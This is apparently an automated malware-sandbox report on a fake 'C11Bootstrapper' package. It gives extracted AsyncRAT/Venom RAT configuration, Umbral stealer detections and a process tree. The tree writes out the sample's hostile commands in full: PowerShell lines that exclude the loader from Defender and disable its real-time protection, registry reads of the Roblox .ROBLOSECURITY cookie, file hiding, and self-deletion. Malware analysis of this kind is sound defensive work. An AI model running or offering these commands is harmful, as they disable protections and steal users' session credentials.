Analysis
-
max time kernel
285s -
max time network
284s -
platform
windows11-21h2_x64 -
resource
win11-20240412-en -
resource tags
arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system -
submitted
19-04-2024 20:37
Behavioral task
behavioral1
Sample
C11Bootstrapper/Properties/C11Setup.exe
Resource
win11-20240412-en
Behavioral task
behavioral2
Sample
C11Bootstrapper/Properties/GuiLoader.exe
Resource
win11-20240412-en
Behavioral task
behavioral3
Sample
C11Bootstrapper/Properties/IndependenciesInstallation.bat
Resource
win11-20240412-en
Behavioral task
behavioral4
Sample
C11Bootstrapper/Properties/PageEditor.exe
Resource
win11-20240412-en
Behavioral task
behavioral5
Sample
C11Bootstrapper/Properties/msgbox.vbs
Resource
win11-20240412-en
General
-
Target
C11Bootstrapper/Start.bat
-
Size
1KB
-
MD5
4e3179e79f11708b60c3af67718cc0ae
-
SHA1
e22536c444427ce73dcc50091c28477c44e23210
-
SHA256
6953af9e22a172b023757199cc77c0ea2353bfe7ab1843516a161081f0c1d76d
-
SHA512
aaf2402399fe8887fe516a3be50054129298970dc322652dc02578a523be74135e02b6856f0b7b774df3c827b131d54828143583038bc5350c40e89dcd1409e1
Malware Config
Extracted
asyncrat
Venom RAT + HVNC + Stealer + Grabber v6.0.3
Default
127.0.0.1:4449
127.0.0.1:4040
chhphkahmfnasuyziqc
-
delay
1
-
install
false
-
install_folder
%Temp%
Signatures
-
Detect Umbral payload 1 IoCs
resource yara_rule behavioral6/memory/3408-0-0x0000021281080000-0x00000212810C4000-memory.dmp family_umbral -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts GuiLoader.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 6 discord.com 7 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Delays execution with timeout.exe 4 IoCs
pid Process 1872 timeout.exe 2092 timeout.exe 840 timeout.exe 3364 timeout.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4008 wmic.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-834482027-582050234-2368284635-1000_Classes\Local Settings cmd.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 4828 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3408 GuiLoader.exe 3900 powershell.exe 3900 powershell.exe 3088 C11Setup.exe 3088 C11Setup.exe 420 powershell.exe 420 powershell.exe 4356 powershell.exe 4356 powershell.exe 3760 powershell.exe 3760 powershell.exe 4464 powershell.exe 4464 powershell.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe 3088 C11Setup.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1120 PageEditor.exe Token: SeDebugPrivilege 3088 C11Setup.exe Token: SeDebugPrivilege 3408 GuiLoader.exe Token: SeIncreaseQuotaPrivilege 1892 wmic.exe Token: SeSecurityPrivilege 1892 wmic.exe Token: SeTakeOwnershipPrivilege 1892 wmic.exe Token: SeLoadDriverPrivilege 1892 wmic.exe Token: SeSystemProfilePrivilege 1892 wmic.exe Token: SeSystemtimePrivilege 1892 wmic.exe Token: SeProfSingleProcessPrivilege 1892 wmic.exe Token: SeIncBasePriorityPrivilege 1892 wmic.exe Token: SeCreatePagefilePrivilege 1892 wmic.exe Token: SeBackupPrivilege 1892 wmic.exe Token: SeRestorePrivilege 1892 wmic.exe Token: SeShutdownPrivilege 1892 wmic.exe Token: SeDebugPrivilege 1892 wmic.exe Token: SeSystemEnvironmentPrivilege 1892 wmic.exe Token: SeRemoteShutdownPrivilege 1892 wmic.exe Token: SeUndockPrivilege 1892 wmic.exe Token: SeManageVolumePrivilege 1892 wmic.exe Token: 33 1892 wmic.exe Token: 34 1892 wmic.exe Token: 35 1892 wmic.exe Token: 36 1892 wmic.exe Token: SeIncreaseQuotaPrivilege 1892 wmic.exe Token: SeSecurityPrivilege 1892 wmic.exe Token: SeTakeOwnershipPrivilege 1892 wmic.exe Token: SeLoadDriverPrivilege 1892 wmic.exe Token: SeSystemProfilePrivilege 1892 wmic.exe Token: SeSystemtimePrivilege 1892 wmic.exe Token: SeProfSingleProcessPrivilege 1892 wmic.exe Token: SeIncBasePriorityPrivilege 1892 wmic.exe Token: SeCreatePagefilePrivilege 1892 wmic.exe Token: SeBackupPrivilege 1892 wmic.exe Token: SeRestorePrivilege 1892 wmic.exe Token: SeShutdownPrivilege 1892 wmic.exe Token: SeDebugPrivilege 1892 wmic.exe Token: SeSystemEnvironmentPrivilege 1892 wmic.exe Token: SeRemoteShutdownPrivilege 1892 wmic.exe Token: SeUndockPrivilege 1892 wmic.exe Token: SeManageVolumePrivilege 1892 wmic.exe Token: 33 1892 wmic.exe Token: 34 1892 wmic.exe Token: 35 1892 wmic.exe Token: 36 1892 wmic.exe Token: SeDebugPrivilege 3900 powershell.exe Token: SeIncreaseQuotaPrivilege 1120 PageEditor.exe Token: SeSecurityPrivilege 1120 PageEditor.exe Token: SeTakeOwnershipPrivilege 1120 PageEditor.exe Token: SeLoadDriverPrivilege 1120 PageEditor.exe Token: SeSystemProfilePrivilege 1120 PageEditor.exe Token: SeSystemtimePrivilege 1120 PageEditor.exe Token: SeProfSingleProcessPrivilege 1120 PageEditor.exe Token: SeIncBasePriorityPrivilege 1120 PageEditor.exe Token: SeCreatePagefilePrivilege 1120 PageEditor.exe Token: SeBackupPrivilege 1120 PageEditor.exe Token: SeRestorePrivilege 1120 PageEditor.exe Token: SeShutdownPrivilege 1120 PageEditor.exe Token: SeDebugPrivilege 1120 PageEditor.exe Token: SeSystemEnvironmentPrivilege 1120 PageEditor.exe Token: SeRemoteShutdownPrivilege 1120 PageEditor.exe Token: SeUndockPrivilege 1120 PageEditor.exe Token: SeManageVolumePrivilege 1120 PageEditor.exe Token: 33 1120 PageEditor.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3088 C11Setup.exe -
Suspicious use of WriteProcessMemory 44 IoCs
description pid Process procid_target PID 4860 wrote to memory of 4756 4860 cmd.exe 78 PID 4860 wrote to memory of 4756 4860 cmd.exe 78 PID 4756 wrote to memory of 1872 4756 cmd.exe 80 PID 4756 wrote to memory of 1872 4756 cmd.exe 80 PID 4756 wrote to memory of 2092 4756 cmd.exe 81 PID 4756 wrote to memory of 2092 4756 cmd.exe 81 PID 4756 wrote to memory of 840 4756 cmd.exe 82 PID 4756 wrote to memory of 840 4756 cmd.exe 82 PID 4756 wrote to memory of 4320 4756 cmd.exe 83 PID 4756 wrote to memory of 4320 4756 cmd.exe 83 PID 4756 wrote to memory of 3364 4756 cmd.exe 84 PID 4756 wrote to memory of 3364 4756 cmd.exe 84 PID 4756 wrote to memory of 3088 4756 cmd.exe 85 PID 4756 wrote to memory of 3088 4756 cmd.exe 85 PID 4756 wrote to memory of 3408 4756 cmd.exe 86 PID 4756 wrote to memory of 3408 4756 cmd.exe 86 PID 4756 wrote to memory of 1120 4756 cmd.exe 87 PID 4756 wrote to memory of 1120 4756 cmd.exe 87 PID 3408 wrote to memory of 1892 3408 GuiLoader.exe 88 PID 3408 wrote to memory of 1892 3408 GuiLoader.exe 88 PID 3408 wrote to memory of 4816 3408 GuiLoader.exe 91 PID 3408 wrote to memory of 4816 3408 GuiLoader.exe 91 PID 3408 wrote to memory of 3900 3408 GuiLoader.exe 93 PID 3408 wrote to memory of 3900 3408 GuiLoader.exe 93 PID 3408 wrote to memory of 420 3408 GuiLoader.exe 97 PID 3408 wrote to memory of 420 3408 GuiLoader.exe 97 PID 3408 wrote to memory of 4356 3408 GuiLoader.exe 100 PID 3408 wrote to memory of 4356 3408 GuiLoader.exe 100 PID 3408 wrote to memory of 3760 3408 GuiLoader.exe 102 PID 3408 wrote to memory of 3760 3408 GuiLoader.exe 102 PID 3408 wrote to memory of 3404 3408 GuiLoader.exe 104 PID 3408 wrote to memory of 3404 3408 GuiLoader.exe 104 PID 3408 wrote to memory of 4308 3408 GuiLoader.exe 106 PID 3408 wrote to memory of 4308 3408 GuiLoader.exe 106 PID 3408 wrote to memory of 4700 3408 GuiLoader.exe 108 PID 3408 wrote to memory of 4700 3408 GuiLoader.exe 108 PID 3408 wrote to memory of 4464 3408 GuiLoader.exe 110 PID 3408 wrote to memory of 4464 3408 GuiLoader.exe 110 PID 3408 wrote to memory of 4008 3408 GuiLoader.exe 112 PID 3408 wrote to memory of 4008 3408 GuiLoader.exe 112 PID 3408 wrote to memory of 2008 3408 GuiLoader.exe 114 PID 3408 wrote to memory of 2008 3408 GuiLoader.exe 114 PID 2008 wrote to memory of 4828 2008 cmd.exe 116 PID 2008 wrote to memory of 4828 2008 cmd.exe 116 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 4816 attrib.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Start.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4860 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K IndependenciesInstallation.bat2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4756 -
C:\Windows\system32\timeout.exetimeout /t 53⤵
- Delays execution with timeout.exe
PID:1872
-
-
C:\Windows\system32\timeout.exetimeout /t 13⤵
- Delays execution with timeout.exe
PID:2092
-
-
C:\Windows\system32\timeout.exetimeout /t 33⤵
- Delays execution with timeout.exe
PID:840
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\msgbox.vbs"3⤵PID:4320
-
-
C:\Windows\system32\timeout.exetimeout /t 43⤵
- Delays execution with timeout.exe
PID:3364
-
-
C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\C11Setup.exeC11Setup.exe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3088
-
-
C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exeGuiLoader.exe3⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3408 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1892
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe"4⤵
- Views/modifies file attributes
PID:4816
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3900
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 24⤵
- Suspicious behavior: EnumeratesProcesses
PID:420
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4356
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY4⤵
- Suspicious behavior: EnumeratesProcesses
PID:3760
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption4⤵PID:3404
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory4⤵PID:4308
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid4⤵PID:4700
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4464
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name4⤵
- Detects videocard installed
PID:4008
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe" && pause4⤵
- Suspicious use of WriteProcessMemory
PID:2008 -
C:\Windows\system32\PING.EXEping localhost5⤵
- Runs ping.exe
PID:4828
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\PageEditor.exePageEditor.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1120
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5627073ee3ca9676911bee35548eff2b8
SHA14c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA25685b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA5123c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
-
Filesize
1KB
MD500b5dac0faabd946e46411c68c4e4b54
SHA1ebffe4f7312c6a3ea1a5bfb8e36e3716b73a71de
SHA256ba0bccd5b683d96eda6d4000424147e0dddaa1e6c87dd65566721f4552397133
SHA51225a291425f8ac169440d5a6250b2eae67261d599bd35aa3e02c742deed5aedea7d4e88910947116068759e3b8cb5fd82c29b6360d86b663fc536b09bd69ac9c0
-
Filesize
944B
MD52e8eb51096d6f6781456fef7df731d97
SHA1ec2aaf851a618fb43c3d040a13a71997c25bda43
SHA25696bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864
SHA5120a73dc9a49f92d9dd556c2ca2e36761890b3538f355ee1f013e7cf648d8c4d065f28046cd4a167db3dea304d1fbcbcea68d11ce6e12a3f20f8b6c018a60422d2
-
Filesize
948B
MD5fa21dd50b4e64421076f843031c8ccf7
SHA12c56e94f130c0d8d77116e939ffee4e37cf982bd
SHA256e4f21aca1e12aafa8de7af24b79a75526e902c7d4b3fea5bdb6e723976997be3
SHA512b8de2bfeb7af06c587dd1f424d410cf83471f31a55a3ea4c4481ce07ffd9bf66ddc1f7775ecd6ac65ac33baaec90ba5a208a9aefc84f31125a50dfb919982687
-
Filesize
1KB
MD57332074ae2b01262736b6fbd9e100dac
SHA122f992165065107cc9417fa4117240d84414a13c
SHA256baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa
SHA5124ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
8B
MD5cf759e4c5f14fe3eec41b87ed756cea8
SHA1c27c796bb3c2fac929359563676f4ba1ffada1f5
SHA256c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761
SHA512c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b